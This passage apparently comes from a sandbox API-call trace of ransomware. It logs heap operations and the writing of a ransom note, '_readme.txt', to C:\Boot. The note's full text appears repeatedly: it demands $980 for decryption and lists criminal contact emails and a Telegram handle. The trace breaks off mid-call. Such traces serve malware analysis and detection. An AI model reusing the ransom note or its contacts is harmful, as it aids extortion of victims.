[0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd6c0 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b58 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5388 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c20 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f9c458 | out: hHeap=0x670000) returned 1 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.071] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x139e7190, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x139e7190, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x139e7190, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.071] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x139e7190, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x139e7190, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x139e7190, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.071] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd6c0 [0059.071] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd6c0 | out: hHeap=0x670000) returned 1 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.073] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.074] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.074] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.075] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.075] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.075] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.075] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.075] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.075] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.075] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.075] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.075] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.075] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.075] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.075] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.075] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.075] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.075] PathFindFileNameW (pszPath="") returned="" [0059.075] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.076] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.076] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.076] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.076] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c20 | out: hHeap=0x670000) returned 1 [0059.076] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.076] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0059.076] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.076] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c20 | out: hHeap=0x670000) returned 1 [0059.076] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0059.077] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.077] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.077] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.077] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.077] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.077] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.077] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 